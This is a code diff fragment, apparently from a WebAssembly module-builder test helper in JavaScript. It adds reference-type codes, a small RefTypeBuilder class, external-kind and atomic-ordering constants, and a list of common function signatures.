+let kNullExnRefCode = kWasmNullExnRef & kLeb128Mask;
+let kNullRefCode = kWasmNullRef & kLeb128Mask;
+let kStringRefCode = kWasmStringRef & kLeb128Mask;
+let kStringViewWtf8Code = kWasmStringViewWtf8 & kLeb128Mask;
+let kStringViewWtf16Code = kWasmStringViewWtf16 & kLeb128Mask;
+let kStringViewIterCode = kWasmStringViewIter & kLeb128Mask;
+const kContRefCode = kWasmContRef & kLeb128Mask;
+const kNullContRefCode = kWasmNullContRef & kLeb128Mask;
+
+let kWasmRefNull = 0x63;
+let kWasmRef = 0x64;
+let kWasmExact = 0x62;
+
+// Implementation detail of `wasmRef[Null]Type`, don't use directly.
+class RefTypeBuilder {
+ constructor(opcode, heap_type) {
+ this.opcode = opcode;
+ this.heap_type = heap_type;
+ this.is_shared = false;
+ this.is_exact = false;
+ }
+ nullable() {
+ this.opcode = kWasmRefNull;
+ return this;
+ }
+ shared() {
+ this.is_shared = true;
+ return this;
+ }
+ exact() {
+ this.is_exact = true;
+ return this;
+ }
+}
+function wasmRefNullType(heap_type) {
+ return new RefTypeBuilder(kWasmRefNull, heap_type);
+}
+function wasmRefType(heap_type) {
+ return new RefTypeBuilder(kWasmRef, heap_type);
+}
+
+let kExternalFunction = 0;
+let kExternalTable = 1;
+let kExternalMemory = 2;
+let kExternalGlobal = 3;
+let kExternalTag = 4;
+
+let kTableZero = 0;
+let kMemoryZero = 0;
+let kSegmentZero = 0;
+
+let kExceptionAttribute = 0;
+
+const kAtomicSeqCst = 0;
+const kAtomicAcqRel = 1;
+
+// Useful signatures
+let kSig_i_i = makeSig([kWasmI32], [kWasmI32]);
+let kSig_l_l = makeSig([kWasmI64], [kWasmI64]);
+let kSig_i_l = makeSig([kWasmI64], [kWasmI32]);
+let kSig_i_ii = makeSig([kWasmI32, kWasmI32], [kWasmI32]);
+let kSig_i_iii = makeSig([kWasmI32, kWasmI32, kWasmI32], [kWasmI32]);
+let kSig_i_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], [kWasmI32]);
+let kSig_v_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], []);
+let kSig_l_iiii = makeSig([kWasmI32, kWasmI32, kWasmI32, kWasmI32], [kWasmI64]);
+let kSig_l_i = makeSig([kWasmI32], [kWasmI64]);
+let kSig_f_i = makeSig([kWasmI32], [kWasmF32]);
+let kSig_i_f = makeSig([kWasmF32], [kWasmI32]);
+let kSig_i_ff = makeSig([kWasmF32, kWasmF32], [kWasmI32]);
+let kSig_f_ff = makeSig([kWasmF32, kWasmF32], [kWasmF32]);
+let kSig_f_ffff = makeSig([kWasmF32, kWasmF32, kWasmF32, kWasmF32], [kWasmF32]);
+let kSig_d_dd = makeSig([kWasmF64, kWasmF64], [kWasmF64]);
+let kSig_d_dddd = makeSig([kWasmF64, kWasmF64, kWasmF64, kWasmF64], [kWasmF64]);
+let kSig_l_ll = makeSig([kWasmI64, kWasmI64], [kWasmI64]);
+let kSig_l_llll = makeSig([kWasmI64, kWasmI64, kWasmI64, kWasmI64], [kWasmI64]);
+let kSig_i_dd = makeSig([kWasmF64, kWasmF64], [kWasmI32]);
+let kSig_v_v = makeSig([], []);
+let kSig_i_v = makeSig([], [kWasmI32]);
... (truncated)